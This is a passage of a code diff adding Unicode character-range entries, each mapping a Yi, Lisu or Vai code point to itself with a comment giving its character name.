+ ["\uA3A6", "\uA3A6"], /* YI SYLLABLE NRYX */
+ ["\uA3A7", "\uA3A7"], /* YI SYLLABLE NRY */
+ ["\uA3A8", "\uA3A8"], /* YI SYLLABLE NRYP */
+ ["\uA3A9", "\uA3A9"], /* YI SYLLABLE NRYRX */
+ ["\uA3AA", "\uA3AA"], /* YI SYLLABLE NRYR */
+ ["\uA3AB", "\uA3AB"], /* YI SYLLABLE SHAT */
+ ["\uA3AC", "\uA3AC"], /* YI SYLLABLE SHAX */
+ ["\uA3AD", "\uA3AD"], /* YI SYLLABLE SHA */
+ ["\uA3AE", "\uA3AE"], /* YI SYLLABLE SHAP */
+ ["\uA3AF", "\uA3AF"], /* YI SYLLABLE SHUOX */
+ ["\uA3B0", "\uA3B0"], /* YI SYLLABLE SHUO */
+ ["\uA3B1", "\uA3B1"], /* YI SYLLABLE SHUOP */
+ ["\uA3B2", "\uA3B2"], /* YI SYLLABLE SHOT */
+ ["\uA3B3", "\uA3B3"], /* YI SYLLABLE SHOX */
+ ["\uA3B4", "\uA3B4"], /* YI SYLLABLE SHO */
+ ["\uA3B5", "\uA3B5"], /* YI SYLLABLE SHOP */
+ ["\uA3B6", "\uA3B6"], /* YI SYLLABLE SHET */
+ ["\uA3B7", "\uA3B7"], /* YI SYLLABLE SHEX */
+ ["\uA3B8", "\uA3B8"], /* YI SYLLABLE SHE */
+ ["\uA3B9", "\uA3B9"], /* YI SYLLABLE SHEP */
+ ["\uA3BA", "\uA3BA"], /* YI SYLLABLE SHUT */
+ ["\uA3BB", "\uA3BB"], /* YI SYLLABLE SHUX */
+ ["\uA3BC", "\uA3BC"], /* YI SYLLABLE SHU */
+ ["\uA3BD", "\uA3BD"], /* YI SYLLABLE SHUP */
+ ["\uA3BE", "\uA3BE"], /* YI SYLLABLE SHURX */
+ ["\uA3BF", "\uA3BF"], /* YI SYLLABLE SHUR */
+ ["\uA3C0", "\uA3C0"], /* YI SYLLABLE SHYT */
+ ["\uA3C1", "\uA3C1"], /* YI SYLLABLE SHYX */
+ ["\uA3C2", "\uA3C2"], /* YI SYLLABLE SHY */
+ ["\uA3C3", "\uA3C3"], /* YI SYLLABLE SHYP */
+ ["\uA3C4", "\uA3C4"], /* YI SYLLABLE SHYRX */
+ ["\uA3C5", "\uA3C5"], /* YI SYLLABLE SHYR */
+ ["\uA3C6", "\uA3C6"], /* YI SYLLABLE RAT */
+ ["\uA3C7", "\uA3C7"], /* YI SYLLABLE RAX */
+ ["\uA3C8", "\uA3C8"], /* YI SYLLABLE RA */
+ ["\uA3C9", "\uA3C9"], /* YI SYLLABLE RAP */
+ ["\uA3CA", "\uA3CA"], /* YI SYLLABLE RUOX */
+ ["\uA3CB", "\uA3CB"], /* YI SYLLABLE RUO */
+ ["\uA3CC", "\uA3CC"], /* YI SYLLABLE RUOP */
+ ["\uA3CD", "\uA3CD"], /* YI SYLLABLE ROT */
+ ["\uA3CE", "\uA3CE"], /* YI SYLLABLE ROX */
+ ["\uA3CF", "\uA3CF"], /* YI SYLLABLE RO */
+ ["\uA3D0", "\uA3D0"], /* YI SYLLABLE ROP */
+ ["\uA3D1", "\uA3D1"], /* YI SYLLABLE REX */
+ ["\uA3D2", "\uA3D2"], /* YI SYLLABLE RE */
+ ["\uA3D3", "\uA3D3"], /* YI SYLLABLE REP */
+ ["\uA3D4", "\uA3D4"], /* YI SYLLABLE RUT */
+ ["\uA3D5", "\uA3D5"], /* YI SYLLABLE RUX */
+ ["\uA3D6", "\uA3D6"], /* YI SYLLABLE RU */
+ ["\uA3D7", "\uA3D7"], /* YI SYLLABLE RUP */
+ ["\uA3D8", "\uA3D8"], /* YI SYLLABLE RURX */
+ ["\uA3D9", "\uA3D9"], /* YI SYLLABLE RUR */
+ ["\uA3DA", "\uA3DA"], /* YI SYLLABLE RYT */
+ ["\uA3DB", "\uA3DB"], /* YI SYLLABLE RYX */
+ ["\uA3DC", "\uA3DC"], /* YI SYLLABLE RY */
+ ["\uA3DD", "\uA3DD"], /* YI SYLLABLE RYP */
+ ["\uA3DE", "\uA3DE"], /* YI SYLLABLE RYRX */
+ ["\uA3DF", "\uA3DF"], /* YI SYLLABLE RYR */
+ ["\uA3E0", "\uA3E0"], /* YI SYLLABLE JIT */
+ ["\uA3E1", "\uA3E1"], /* YI SYLLABLE JIX */
+ ["\uA3E2", "\uA3E2"], /* YI SYLLABLE JI */
+ ["\uA3E3", "\uA3E3"], /* YI SYLLABLE JIP */
+ ["\uA3E4", "\uA3E4"], /* YI SYLLABLE JIET */
+ ["\uA3E5", "\uA3E5"], /* YI SYLLABLE JIEX */
+ ["\uA3E6", "\uA3E6"], /* YI SYLLABLE JIE */
+ ["\uA3E7", "\uA3E7"], /* YI SYLLABLE JIEP */
+ ["\uA3E8", "\uA3E8"], /* YI SYLLABLE JUOT */
+ ["\uA3E9", "\uA3E9"], /* YI SYLLABLE JUOX */
+ ["\uA3EA", "\uA3EA"], /* YI SYLLABLE JUO */
+ ["\uA3EB", "\uA3EB"], /* YI SYLLABLE JUOP */
+ ["\uA3EC", "\uA3EC"], /* YI SYLLABLE JOT */
+ ["\uA3ED", "\uA3ED"], /* YI SYLLABLE JOX */
+ ["\uA3EE", "\uA3EE"], /* YI SYLLABLE JO */
+ ["\uA3EF", "\uA3EF"], /* YI SYLLABLE JOP */
+ ["\uA3F0", "\uA3F0"], /* YI SYLLABLE JUT */
+ ["\uA3F1", "\uA3F1"], /* YI SYLLABLE JUX */
+ ["\uA3F2", "\uA3F2"], /* YI SYLLABLE JU */
+ ["\uA3F3", "\uA3F3"], /* YI SYLLABLE JUP */
+ ["\uA3F4", "\uA3F4"], /* YI SYLLABLE JURX */
+ ["\uA3F5", "\uA3F5"], /* YI SYLLABLE JUR */
+ ["\uA3F6", "\uA3F6"], /* YI SYLLABLE JYT */
+ ["\uA3F7", "\uA3F7"], /* YI SYLLABLE JYX */
+ ["\uA3F8", "\uA3F8"], /* YI SYLLABLE JY */
+ ["\uA3F9", "\uA3F9"], /* YI SYLLABLE JYP */
+ ["\uA3FA", "\uA3FA"], /* YI SYLLABLE JYRX */
+ ["\uA3FB", "\uA3FB"], /* YI SYLLABLE JYR */
+ ["\uA3FC", "\uA3FC"], /* YI SYLLABLE QIT */
+ ["\uA3FD", "\uA3FD"], /* YI SYLLABLE QIX */
+ ["\uA3FE", "\uA3FE"], /* YI SYLLABLE QI */
+ ["\uA3FF", "\uA3FF"], /* YI SYLLABLE QIP */
+ ["\uA400", "\uA400"], /* YI SYLLABLE QIET */
+ ["\uA401", "\uA401"], /* YI SYLLABLE QIEX */
+ ["\uA402", "\uA402"], /* YI SYLLABLE QIE */
+ ["\uA403", "\uA403"], /* YI SYLLABLE QIEP */
+ ["\uA404", "\uA404"], /* YI SYLLABLE QUOT */
+ ["\uA405", "\uA405"], /* YI SYLLABLE QUOX */
+ ["\uA406", "\uA406"], /* YI SYLLABLE QUO */
+ ["\uA407", "\uA407"], /* YI SYLLABLE QUOP */
+ ["\uA408", "\uA408"], /* YI SYLLABLE QOT */
+ ["\uA409", "\uA409"], /* YI SYLLABLE QOX */
+ ["\uA40A", "\uA40A"], /* YI SYLLABLE QO */
+ ["\uA40B", "\uA40B"], /* YI SYLLABLE QOP */
+ ["\uA40C", "\uA40C"], /* YI SYLLABLE QUT */
+ ["\uA40D", "\uA40D"], /* YI SYLLABLE QUX */
+ ["\uA40E", "\uA40E"], /* YI SYLLABLE QU */
+ ["\uA40F", "\uA40F"], /* YI SYLLABLE QUP */
+ ["\uA410", "\uA410"], /* YI SYLLABLE QURX */
+ ["\uA411", "\uA411"], /* YI SYLLABLE QUR */
+ ["\uA412", "\uA412"], /* YI SYLLABLE QYT */
+ ["\uA413", "\uA413"], /* YI SYLLABLE QYX */
+ ["\uA414", "\uA414"], /* YI SYLLABLE QY */
+ ["\uA415", "\uA415"], /* YI SYLLABLE QYP */
+ ["\uA416", "\uA416"], /* YI SYLLABLE QYRX */
+ ["\uA417", "\uA417"], /* YI SYLLABLE QYR */
+ ["\uA418", "\uA418"], /* YI SYLLABLE JJIT */
+ ["\uA419", "\uA419"], /* YI SYLLABLE JJIX */
+ ["\uA41A", "\uA41A"], /* YI SYLLABLE JJI */
+ ["\uA41B", "\uA41B"], /* YI SYLLABLE JJIP */
+ ["\uA41C", "\uA41C"], /* YI SYLLABLE JJIET */
+ ["\uA41D", "\uA41D"], /* YI SYLLABLE JJIEX */
+ ["\uA41E", "\uA41E"], /* YI SYLLABLE JJIE */
+ ["\uA41F", "\uA41F"], /* YI SYLLABLE JJIEP */
+ ["\uA420", "\uA420"], /* YI SYLLABLE JJUOX */
+ ["\uA421", "\uA421"], /* YI SYLLABLE JJUO */
+ ["\uA422", "\uA422"], /* YI SYLLABLE JJUOP */
+ ["\uA423", "\uA423"], /* YI SYLLABLE JJOT */
+ ["\uA424", "\uA424"], /* YI SYLLABLE JJOX */
+ ["\uA425", "\uA425"], /* YI SYLLABLE JJO */
+ ["\uA426", "\uA426"], /* YI SYLLABLE JJOP */
+ ["\uA427", "\uA427"], /* YI SYLLABLE JJUT */
+ ["\uA428", "\uA428"], /* YI SYLLABLE JJUX */
+ ["\uA429", "\uA429"], /* YI SYLLABLE JJU */
+ ["\uA42A", "\uA42A"], /* YI SYLLABLE JJUP */
+ ["\uA42B", "\uA42B"], /* YI SYLLABLE JJURX */
+ ["\uA42C", "\uA42C"], /* YI SYLLABLE JJUR */
+ ["\uA42D", "\uA42D"], /* YI SYLLABLE JJYT */
+ ["\uA42E", "\uA42E"], /* YI SYLLABLE JJYX */
+ ["\uA42F", "\uA42F"], /* YI SYLLABLE JJY */
+ ["\uA430", "\uA430"], /* YI SYLLABLE JJYP */
+ ["\uA431", "\uA431"], /* YI SYLLABLE NJIT */
+ ["\uA432", "\uA432"], /* YI SYLLABLE NJIX */
+ ["\uA433", "\uA433"], /* YI SYLLABLE NJI */
+ ["\uA434", "\uA434"], /* YI SYLLABLE NJIP */
+ ["\uA435", "\uA435"], /* YI SYLLABLE NJIET */
+ ["\uA436", "\uA436"], /* YI SYLLABLE NJIEX */
+ ["\uA437", "\uA437"], /* YI SYLLABLE NJIE */
+ ["\uA438", "\uA438"], /* YI SYLLABLE NJIEP */
+ ["\uA439", "\uA439"], /* YI SYLLABLE NJUOX */
+ ["\uA43A", "\uA43A"], /* YI SYLLABLE NJUO */
+ ["\uA43B", "\uA43B"], /* YI SYLLABLE NJOT */
+ ["\uA43C", "\uA43C"], /* YI SYLLABLE NJOX */
+ ["\uA43D", "\uA43D"], /* YI SYLLABLE NJO */
+ ["\uA43E", "\uA43E"], /* YI SYLLABLE NJOP */
+ ["\uA43F", "\uA43F"], /* YI SYLLABLE NJUX */
+ ["\uA440", "\uA440"], /* YI SYLLABLE NJU */
+ ["\uA441", "\uA441"], /* YI SYLLABLE NJUP */
+ ["\uA442", "\uA442"], /* YI SYLLABLE NJURX */
+ ["\uA443", "\uA443"], /* YI SYLLABLE NJUR */
+ ["\uA444", "\uA444"], /* YI SYLLABLE NJYT */
+ ["\uA445", "\uA445"], /* YI SYLLABLE NJYX */
+ ["\uA446", "\uA446"], /* YI SYLLABLE NJY */
+ ["\uA447", "\uA447"], /* YI SYLLABLE NJYP */
+ ["\uA448", "\uA448"], /* YI SYLLABLE NJYRX */
+ ["\uA449", "\uA449"], /* YI SYLLABLE NJYR */
+ ["\uA44A", "\uA44A"], /* YI SYLLABLE NYIT */
+ ["\uA44B", "\uA44B"], /* YI SYLLABLE NYIX */
+ ["\uA44C", "\uA44C"], /* YI SYLLABLE NYI */
+ ["\uA44D", "\uA44D"], /* YI SYLLABLE NYIP */
+ ["\uA44E", "\uA44E"], /* YI SYLLABLE NYIET */
+ ["\uA44F", "\uA44F"], /* YI SYLLABLE NYIEX */
+ ["\uA450", "\uA450"], /* YI SYLLABLE NYIE */
+ ["\uA451", "\uA451"], /* YI SYLLABLE NYIEP */
+ ["\uA452", "\uA452"], /* YI SYLLABLE NYUOX */
+ ["\uA453", "\uA453"], /* YI SYLLABLE NYUO */
+ ["\uA454", "\uA454"], /* YI SYLLABLE NYUOP */
+ ["\uA455", "\uA455"], /* YI SYLLABLE NYOT */
+ ["\uA456", "\uA456"], /* YI SYLLABLE NYOX */
+ ["\uA457", "\uA457"], /* YI SYLLABLE NYO */
+ ["\uA458", "\uA458"], /* YI SYLLABLE NYOP */
+ ["\uA459", "\uA459"], /* YI SYLLABLE NYUT */
+ ["\uA45A", "\uA45A"], /* YI SYLLABLE NYUX */
+ ["\uA45B", "\uA45B"], /* YI SYLLABLE NYU */
+ ["\uA45C", "\uA45C"], /* YI SYLLABLE NYUP */
+ ["\uA45D", "\uA45D"], /* YI SYLLABLE XIT */
+ ["\uA45E", "\uA45E"], /* YI SYLLABLE XIX */
+ ["\uA45F", "\uA45F"], /* YI SYLLABLE XI */
+ ["\uA460", "\uA460"], /* YI SYLLABLE XIP */
+ ["\uA461", "\uA461"], /* YI SYLLABLE XIET */
+ ["\uA462", "\uA462"], /* YI SYLLABLE XIEX */
+ ["\uA463", "\uA463"], /* YI SYLLABLE XIE */
+ ["\uA464", "\uA464"], /* YI SYLLABLE XIEP */
+ ["\uA465", "\uA465"], /* YI SYLLABLE XUOX */
+ ["\uA466", "\uA466"], /* YI SYLLABLE XUO */
+ ["\uA467", "\uA467"], /* YI SYLLABLE XOT */
+ ["\uA468", "\uA468"], /* YI SYLLABLE XOX */
+ ["\uA469", "\uA469"], /* YI SYLLABLE XO */
+ ["\uA46A", "\uA46A"], /* YI SYLLABLE XOP */
+ ["\uA46B", "\uA46B"], /* YI SYLLABLE XYT */
+ ["\uA46C", "\uA46C"], /* YI SYLLABLE XYX */
+ ["\uA46D", "\uA46D"], /* YI SYLLABLE XY */
+ ["\uA46E", "\uA46E"], /* YI SYLLABLE XYP */
+ ["\uA46F", "\uA46F"], /* YI SYLLABLE XYRX */
+ ["\uA470", "\uA470"], /* YI SYLLABLE XYR */
+ ["\uA471", "\uA471"], /* YI SYLLABLE YIT */
+ ["\uA472", "\uA472"], /* YI SYLLABLE YIX */
+ ["\uA473", "\uA473"], /* YI SYLLABLE YI */
+ ["\uA474", "\uA474"], /* YI SYLLABLE YIP */
+ ["\uA475", "\uA475"], /* YI SYLLABLE YIET */
+ ["\uA476", "\uA476"], /* YI SYLLABLE YIEX */
+ ["\uA477", "\uA477"], /* YI SYLLABLE YIE */
+ ["\uA478", "\uA478"], /* YI SYLLABLE YIEP */
+ ["\uA479", "\uA479"], /* YI SYLLABLE YUOT */
+ ["\uA47A", "\uA47A"], /* YI SYLLABLE YUOX */
+ ["\uA47B", "\uA47B"], /* YI SYLLABLE YUO */
+ ["\uA47C", "\uA47C"], /* YI SYLLABLE YUOP */
+ ["\uA47D", "\uA47D"], /* YI SYLLABLE YOT */
+ ["\uA47E", "\uA47E"], /* YI SYLLABLE YOX */
+ ["\uA47F", "\uA47F"], /* YI SYLLABLE YO */
+ ["\uA480", "\uA480"], /* YI SYLLABLE YOP */
+ ["\uA481", "\uA481"], /* YI SYLLABLE YUT */
+ ["\uA482", "\uA482"], /* YI SYLLABLE YUX */
+ ["\uA483", "\uA483"], /* YI SYLLABLE YU */
+ ["\uA484", "\uA484"], /* YI SYLLABLE YUP */
+ ["\uA485", "\uA485"], /* YI SYLLABLE YURX */
+ ["\uA486", "\uA486"], /* YI SYLLABLE YUR */
+ ["\uA487", "\uA487"], /* YI SYLLABLE YYT */
+ ["\uA488", "\uA488"], /* YI SYLLABLE YYX */
+ ["\uA489", "\uA489"], /* YI SYLLABLE YY */
+ ["\uA48A", "\uA48A"], /* YI SYLLABLE YYP */
+ ["\uA48B", "\uA48B"], /* YI SYLLABLE YYRX */
+ ["\uA48C", "\uA48C"], /* YI SYLLABLE YYR */
+ ["\uA48D", "\uA48D"],
+ ["\uA48E", "\uA48E"],
+ ["\uA48F", "\uA48F"],
+ ["\uA490", "\uA490"], /* YI RADICAL QOT */
+ ["\uA491", "\uA491"], /* YI RADICAL LI */
+ ["\uA492", "\uA492"], /* YI RADICAL KIT */
+ ["\uA493", "\uA493"], /* YI RADICAL NYIP */
+ ["\uA494", "\uA494"], /* YI RADICAL CYP */
+ ["\uA495", "\uA495"], /* YI RADICAL SSI */
+ ["\uA496", "\uA496"], /* YI RADICAL GGOP */
+ ["\uA497", "\uA497"], /* YI RADICAL GEP */
+ ["\uA498", "\uA498"], /* YI RADICAL MI */
+ ["\uA499", "\uA499"], /* YI RADICAL HXIT */
+ ["\uA49A", "\uA49A"], /* YI RADICAL LYR */
+ ["\uA49B", "\uA49B"], /* YI RADICAL BBUT */
+ ["\uA49C", "\uA49C"], /* YI RADICAL MOP */
+ ["\uA49D", "\uA49D"], /* YI RADICAL YO */
+ ["\uA49E", "\uA49E"], /* YI RADICAL PUT */
+ ["\uA49F", "\uA49F"], /* YI RADICAL HXUO */
+ ["\uA4A0", "\uA4A0"], /* YI RADICAL TAT */
+ ["\uA4A1", "\uA4A1"], /* YI RADICAL GA */
+ ["\uA4A2", "\uA4A2"], /* YI RADICAL ZUP */
+ ["\uA4A3", "\uA4A3"], /* YI RADICAL CYT */
+ ["\uA4A4", "\uA4A4"], /* YI RADICAL DDUR */
+ ["\uA4A5", "\uA4A5"], /* YI RADICAL BUR */
+ ["\uA4A6", "\uA4A6"], /* YI RADICAL GGUO */
+ ["\uA4A7", "\uA4A7"], /* YI RADICAL NYOP */
+ ["\uA4A8", "\uA4A8"], /* YI RADICAL TU */
+ ["\uA4A9", "\uA4A9"], /* YI RADICAL OP */
+ ["\uA4AA", "\uA4AA"], /* YI RADICAL JJUT */
+ ["\uA4AB", "\uA4AB"], /* YI RADICAL ZOT */
+ ["\uA4AC", "\uA4AC"], /* YI RADICAL PYT */
+ ["\uA4AD", "\uA4AD"], /* YI RADICAL HMO */
+ ["\uA4AE", "\uA4AE"], /* YI RADICAL YIT */
+ ["\uA4AF", "\uA4AF"], /* YI RADICAL VUR */
+ ["\uA4B0", "\uA4B0"], /* YI RADICAL SHY */
+ ["\uA4B1", "\uA4B1"], /* YI RADICAL VEP */
+ ["\uA4B2", "\uA4B2"], /* YI RADICAL ZA */
+ ["\uA4B3", "\uA4B3"], /* YI RADICAL JO */
+ ["\uA4B4", "\uA4B4"], /* YI RADICAL NZUP */
+ ["\uA4B5", "\uA4B5"], /* YI RADICAL JJY */
+ ["\uA4B6", "\uA4B6"], /* YI RADICAL GOT */
+ ["\uA4B7", "\uA4B7"], /* YI RADICAL JJIE */
+ ["\uA4B8", "\uA4B8"], /* YI RADICAL WO */
+ ["\uA4B9", "\uA4B9"], /* YI RADICAL DU */
+ ["\uA4BA", "\uA4BA"], /* YI RADICAL SHUR */
+ ["\uA4BB", "\uA4BB"], /* YI RADICAL LIE */
+ ["\uA4BC", "\uA4BC"], /* YI RADICAL CY */
+ ["\uA4BD", "\uA4BD"], /* YI RADICAL CUOP */
+ ["\uA4BE", "\uA4BE"], /* YI RADICAL CIP */
+ ["\uA4BF", "\uA4BF"], /* YI RADICAL HXOP */
+ ["\uA4C0", "\uA4C0"], /* YI RADICAL SHAT */
+ ["\uA4C1", "\uA4C1"], /* YI RADICAL ZUR */
+ ["\uA4C2", "\uA4C2"], /* YI RADICAL SHOP */
+ ["\uA4C3", "\uA4C3"], /* YI RADICAL CHE */
+ ["\uA4C4", "\uA4C4"], /* YI RADICAL ZZIET */
+ ["\uA4C5", "\uA4C5"], /* YI RADICAL NBIE */
+ ["\uA4C6", "\uA4C6"], /* YI RADICAL KE */
+ ["\uA4C7", "\uA4C7"],
+ ["\uA4C8", "\uA4C8"],
+ ["\uA4C9", "\uA4C9"],
+ ["\uA4CA", "\uA4CA"],
+ ["\uA4CB", "\uA4CB"],
+ ["\uA4CC", "\uA4CC"],
+ ["\uA4CD", "\uA4CD"],
+ ["\uA4CE", "\uA4CE"],
+ ["\uA4CF", "\uA4CF"],
+ ["\uA4D0", "\uA4D0"], /* LISU LETTER BA */
+ ["\uA4D1", "\uA4D1"], /* LISU LETTER PA */
+ ["\uA4D2", "\uA4D2"], /* LISU LETTER PHA */
+ ["\uA4D3", "\uA4D3"], /* LISU LETTER DA */
+ ["\uA4D4", "\uA4D4"], /* LISU LETTER TA */
+ ["\uA4D5", "\uA4D5"], /* LISU LETTER THA */
+ ["\uA4D6", "\uA4D6"], /* LISU LETTER GA */
+ ["\uA4D7", "\uA4D7"], /* LISU LETTER KA */
+ ["\uA4D8", "\uA4D8"], /* LISU LETTER KHA */
+ ["\uA4D9", "\uA4D9"], /* LISU LETTER JA */
+ ["\uA4DA", "\uA4DA"], /* LISU LETTER CA */
+ ["\uA4DB", "\uA4DB"], /* LISU LETTER CHA */
+ ["\uA4DC", "\uA4DC"], /* LISU LETTER DZA */
+ ["\uA4DD", "\uA4DD"], /* LISU LETTER TSA */
+ ["\uA4DE", "\uA4DE"], /* LISU LETTER TSHA */
+ ["\uA4DF", "\uA4DF"], /* LISU LETTER MA */
+ ["\uA4E0", "\uA4E0"], /* LISU LETTER NA */
+ ["\uA4E1", "\uA4E1"], /* LISU LETTER LA */
+ ["\uA4E2", "\uA4E2"], /* LISU LETTER SA */
+ ["\uA4E3", "\uA4E3"], /* LISU LETTER ZHA */
+ ["\uA4E4", "\uA4E4"], /* LISU LETTER ZA */
+ ["\uA4E5", "\uA4E5"], /* LISU LETTER NGA */
+ ["\uA4E6", "\uA4E6"], /* LISU LETTER HA */
+ ["\uA4E7", "\uA4E7"], /* LISU LETTER XA */
+ ["\uA4E8", "\uA4E8"], /* LISU LETTER HHA */
+ ["\uA4E9", "\uA4E9"], /* LISU LETTER FA */
+ ["\uA4EA", "\uA4EA"], /* LISU LETTER WA */
+ ["\uA4EB", "\uA4EB"], /* LISU LETTER SHA */
+ ["\uA4EC", "\uA4EC"], /* LISU LETTER YA */
+ ["\uA4ED", "\uA4ED"], /* LISU LETTER GHA */
+ ["\uA4EE", "\uA4EE"], /* LISU LETTER A */
+ ["\uA4EF", "\uA4EF"], /* LISU LETTER AE */
+ ["\uA4F0", "\uA4F0"], /* LISU LETTER E */
+ ["\uA4F1", "\uA4F1"], /* LISU LETTER EU */
+ ["\uA4F2", "\uA4F2"], /* LISU LETTER I */
+ ["\uA4F3", "\uA4F3"], /* LISU LETTER O */
+ ["\uA4F4", "\uA4F4"], /* LISU LETTER U */
+ ["\uA4F5", "\uA4F5"], /* LISU LETTER UE */
+ ["\uA4F6", "\uA4F6"], /* LISU LETTER UH */
+ ["\uA4F7", "\uA4F7"], /* LISU LETTER OE */
+ ["\uA4F8", "\uA4F8"], /* LISU LETTER TONE MYA TI */
+ ["\uA4F9", "\uA4F9"], /* LISU LETTER TONE NA PO */
+ ["\uA4FA", "\uA4FA"], /* LISU LETTER TONE MYA CYA */
+ ["\uA4FB", "\uA4FB"], /* LISU LETTER TONE MYA BO */
+ ["\uA4FC", "\uA4FC"], /* LISU LETTER TONE MYA NA */
+ ["\uA4FD", "\uA4FD"], /* LISU LETTER TONE MYA JEU */
+ ["\uA4FE", "\uA4FE"], /* LISU PUNCTUATION COMMA */
+ ["\uA4FF", "\uA4FF"], /* LISU PUNCTUATION FULL STOP */
+ ["\uA500", "\uA500"], /* VAI SYLLABLE EE */
+ ["\uA501", "\uA501"], /* VAI SYLLABLE EEN */
+ ["\uA502", "\uA502"], /* VAI SYLLABLE HEE */
+ ["\uA503", "\uA503"], /* VAI SYLLABLE WEE */
+ ["\uA504", "\uA504"], /* VAI SYLLABLE WEEN */
+ ["\uA505", "\uA505"], /* VAI SYLLABLE PEE */
+ ["\uA506", "\uA506"], /* VAI SYLLABLE BHEE */
+ ["\uA507", "\uA507"], /* VAI SYLLABLE BEE */
+ ["\uA508", "\uA508"], /* VAI SYLLABLE MBEE */
+ ["\uA509", "\uA509"], /* VAI SYLLABLE KPEE */
+ ["\uA50A", "\uA50A"], /* VAI SYLLABLE MGBEE */
+ ["\uA50B", "\uA50B"], /* VAI SYLLABLE GBEE */
+ ["\uA50C", "\uA50C"], /* VAI SYLLABLE FEE */
+ ["\uA50D", "\uA50D"], /* VAI SYLLABLE VEE */
+ ["\uA50E", "\uA50E"], /* VAI SYLLABLE TEE */
+ ["\uA50F", "\uA50F"], /* VAI SYLLABLE THEE */
+ ["\uA510", "\uA510"], /* VAI SYLLABLE DHEE */
+ ["\uA511", "\uA511"], /* VAI SYLLABLE DHHEE */
+ ["\uA512", "\uA512"], /* VAI SYLLABLE LEE */
+ ["\uA513", "\uA513"], /* VAI SYLLABLE REE */
+ ["\uA514", "\uA514"], /* VAI SYLLABLE DEE */
+ ["\uA515", "\uA515"], /* VAI SYLLABLE NDEE */
+ ["\uA516", "\uA516"], /* VAI SYLLABLE SEE */
+ ["\uA517", "\uA517"], /* VAI SYLLABLE SHEE */
+ ["\uA518", "\uA518"], /* VAI SYLLABLE ZEE */
+ ["\uA519", "\uA519"], /* VAI SYLLABLE ZHEE */
+ ["\uA51A", "\uA51A"], /* VAI SYLLABLE CEE */
+ ["\uA51B", "\uA51B"], /* VAI SYLLABLE JEE */
+ ["\uA51C", "\uA51C"], /* VAI SYLLABLE NJEE */
+ ["\uA51D", "\uA51D"], /* VAI SYLLABLE YEE */
+ ["\uA51E", "\uA51E"], /* VAI SYLLABLE KEE */
+ ["\uA51F", "\uA51F"], /* VAI SYLLABLE NGGEE */
+ ["\uA520", "\uA520"], /* VAI SYLLABLE GEE */
+ ["\uA521", "\uA521"], /* VAI SYLLABLE MEE */
+ ["\uA522", "\uA522"], /* VAI SYLLABLE NEE */
+ ["\uA523", "\uA523"], /* VAI SYLLABLE NYEE */
+ ["\uA524", "\uA524"], /* VAI SYLLABLE I */
+ ["\uA525", "\uA525"], /* VAI SYLLABLE IN */
+ ["\uA526", "\uA526"], /* VAI SYLLABLE HI */
+ ["\uA527", "\uA527"], /* VAI SYLLABLE HIN */
+ ["\uA528", "\uA528"], /* VAI SYLLABLE WI */
+ ["\uA529", "\uA529"], /* VAI SYLLABLE WIN */
+ ["\uA52A", "\uA52A"], /* VAI SYLLABLE PI */
+ ["\uA52B", "\uA52B"], /* VAI SYLLABLE BHI */
+ ["\uA52C", "\uA52C"], /* VAI SYLLABLE BI */
+ ["\uA52D", "\uA52D"], /* VAI SYLLABLE MBI */
+ ["\uA52E", "\uA52E"], /* VAI SYLLABLE KPI */
+ ["\uA52F", "\uA52F"], /* VAI SYLLABLE MGBI */
+ ["\uA530", "\uA530"], /* VAI SYLLABLE GBI */
+ ["\uA531", "\uA531"], /* VAI SYLLABLE FI */
+ ["\uA532", "\uA532"], /* VAI SYLLABLE VI */
+ ["\uA533", "\uA533"], /* VAI SYLLABLE TI */
+ ["\uA534", "\uA534"], /* VAI SYLLABLE THI */
+ ["\uA535", "\uA535"], /* VAI SYLLABLE DHI */
+ ["\uA536", "\uA536"], /* VAI SYLLABLE DHHI */
+ ["\uA537", "\uA537"], /* VAI SYLLABLE LI */
+ ["\uA538", "\uA538"], /* VAI SYLLABLE RI */
+ ["\uA539", "\uA539"], /* VAI SYLLABLE DI */
+ ["\uA53A", "\uA53A"], /* VAI SYLLABLE NDI */
+ ["\uA53B", "\uA53B"], /* VAI SYLLABLE SI */
+ ["\uA53C", "\uA53C"], /* VAI SYLLABLE SHI */
+ ["\uA53D", "\uA53D"], /* VAI SYLLABLE ZI */
+ ["\uA53E", "\uA53E"], /* VAI SYLLABLE ZHI */
+ ["\uA53F", "\uA53F"], /* VAI SYLLABLE CI */
+ ["\uA540", "\uA540"], /* VAI SYLLABLE JI */
+ ["\uA541", "\uA541"], /* VAI SYLLABLE NJI */
+ ["\uA542", "\uA542"], /* VAI SYLLABLE YI */
+ ["\uA543", "\uA543"], /* VAI SYLLABLE KI */
+ ["\uA544", "\uA544"], /* VAI SYLLABLE NGGI */
+ ["\uA545", "\uA545"], /* VAI SYLLABLE GI */
+ ["\uA546", "\uA546"], /* VAI SYLLABLE MI */
+ ["\uA547", "\uA547"], /* VAI SYLLABLE NI */
+ ["\uA548", "\uA548"], /* VAI SYLLABLE NYI */
+ ["\uA549", "\uA549"], /* VAI SYLLABLE A */
+ ["\uA54A", "\uA54A"], /* VAI SYLLABLE AN */
+ ["\uA54B", "\uA54B"], /* VAI SYLLABLE NGAN */
+ ["\uA54C", "\uA54C"], /* VAI SYLLABLE HA */
+ ["\uA54D", "\uA54D"], /* VAI SYLLABLE HAN */
+ ["\uA54E", "\uA54E"], /* VAI SYLLABLE WA */
+ ["\uA54F", "\uA54F"], /* VAI SYLLABLE WAN */
+ ["\uA550", "\uA550"], /* VAI SYLLABLE PA */
+ ["\uA551", "\uA551"], /* VAI SYLLABLE BHA */
+ ["\uA552", "\uA552"], /* VAI SYLLABLE BA */
+ ["\uA553", "\uA553"], /* VAI SYLLABLE MBA */
+ ["\uA554", "\uA554"], /* VAI SYLLABLE KPA */
+ ["\uA555", "\uA555"], /* VAI SYLLABLE KPAN */
+ ["\uA556", "\uA556"], /* VAI SYLLABLE MGBA */
+ ["\uA557", "\uA557"], /* VAI SYLLABLE GBA */
+ ["\uA558", "\uA558"], /* VAI SYLLABLE FA */
+ ["\uA559", "\uA559"], /* VAI SYLLABLE VA */
+ ["\uA55A", "\uA55A"], /* VAI SYLLABLE TA */
+ ["\uA55B", "\uA55B"], /* VAI SYLLABLE THA */
+ ["\uA55C", "\uA55C"], /* VAI SYLLABLE DHA */
+ ["\uA55D", "\uA55D"], /* VAI SYLLABLE DHHA */
+ ["\uA55E", "\uA55E"], /* VAI SYLLABLE LA */
+ ["\uA55F", "\uA55F"], /* VAI SYLLABLE RA */
+ ["\uA560", "\uA560"], /* VAI SYLLABLE DA */
+ ["\uA561", "\uA561"], /* VAI SYLLABLE NDA */
